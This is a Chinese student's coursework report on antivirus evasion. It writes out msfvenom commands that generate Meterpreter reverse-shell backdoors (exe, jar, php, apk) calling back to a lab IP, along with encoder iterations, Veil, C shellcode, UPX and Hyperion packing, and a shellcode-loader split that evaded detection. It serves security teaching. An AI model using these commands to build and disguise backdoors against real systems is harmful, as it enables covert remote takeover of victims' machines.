2019-2020-3 20175324 王陈峤宇《网络对抗技术》Exp3 免杀原理与实践
一、实验内容
1.正确使用msf编码器
在实验二中使用msf生成了后门程序,使用VirusTotal网站对该后门程序进行扫描
用VirusTotal扫描后结果如下:
不加任何处理的后门程序在以前挺有威胁的,但是现在能够被大多数杀软检测到。
为了使后门程序能安全“潜入”,我们使用msf编码器对后门程序进行一次到多次的编码,并进行检测。
一次编码:-e选择编码器,-b是payload中需要清除的字符,该命令中是为了使\x00'不出现在shellcode中,因为shellcode以\x00'为结束符。
输入命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.149.129 LPORT=5324 -f exe > 20175324.exe
以上是一次编码后的生成过程和检测截图,我们可以看出有了一点点改善,隐蔽了一些。
于是我们决定才用改进方案,十次编码:使用-i设置迭代次数
命令为:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.149.291 LPORT=5324 -f exe > 20175324.exe
由这个检测结果可见即使进行了十次编码,对于抵抗杀软检测依然没有起到什么积极的作用。
这是因为msfvenom生成exe是有固定模版的,所有它生成的exe如果使用默认的参数或者模版也会具有固定的特征。
一般来说AV厂商会针对其使用的模版来生成这个特征码,这样就可以一劳永逸地解决所有msfvenom生成的恶意代码。
2.msfvenom生成jar文件
生成命令如下:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.149.129 LPORT=5324 x> 20175324_backdoor_java.jar
这里的隐蔽性已经提升了不少。
3.生成php后门文件
我们再使用mfsvenom生成php文件
生成PHP后门程序使用命令为:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.149.129 LPORT=5324 x> 20175324_backdoor.php
3/59的检出率已经相当低了,在我复制粘贴进主机的过程中,电脑的安全中心也未发出警告。
4.生成Android后门apk文件
生成apk后门文件的命令为:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.149.129 LPORT=5324 x> 20175324_android_backdoor.apk
感觉这个结果不尽如人意。
5.veil
下载安装完成
输入use c/meterpreter/rev_tcp.py进入配置界面
设置反弹连接IP:set LHOST 192.168.149.129(此处为KaliIP),端口:set LPORT 5324
输入generate生成文件,接着输入你想要payload的名字:veil_c_5324,如图所示,文件保存路径为:/var/lib/veil/output/compiled/veil_c_5324.exe
使用VirusTotal检测截图:
6.使用C+shellcode
生成shellco命令为:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.149.129 LPORT=5308 -f c
复制这段shellcode,用它新建20175324.c
使用命令i686-w64-mingw32-g++ 20175324.c -o 20175324.exe将c程序编译为可执行文件
这个的效果也不怎么好
7.加壳工具
加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,
之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。
这里我们采用压缩壳UPX、加密壳Hyperion两种加密方式,命令如下:
upx 20175324.exe -o upxed_20175324.exe
wine hyperion.exe -v upxed_20175324.exe upxed_20175324_hyperion.exe
8.使用其他课堂未介绍的方法
参考优秀同学的博客后,我决定采用将shellcode和加载器分离的方法
使用msf生成shellcode,命令为:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai
LHOST=192.168.149.129 LPORT=5308 -f raw > 5308.raw
这个raw文件杀毒工具是无法识别的
在主机上使用shellcode_launcher启动raw文件
发现回连成功
实验总结与体会
在这次实验中,我们和如今正在使用的安全系统进行了可控的攻防操作,常言道“实践出真知”,
通过这次实验,我充分认识到了自己所学知识的浅薄,如今信息安全技术飞速发展,如果不
勤勉学习,就只能被淘汰。在实验过程中,我也遇到了一些千奇百怪的困难,自己的问题只靠
咨询同学往往无法解决,别人的成功也不能完全copy,我的动手实践能力得到了极大的提升。
开启杀软能绝对防止电脑中恶意代码吗?
不能。在virustotal上检查自己制作的后门程序时我们可以发现,虽然有些后门程序隐蔽性不强,但仍然
能通过一些常用杀毒软件的检测。在病毒程序不断更新的同时,我们的杀毒软件、病毒库也必须同步更新,
不然是无法保证用户终端的安全的。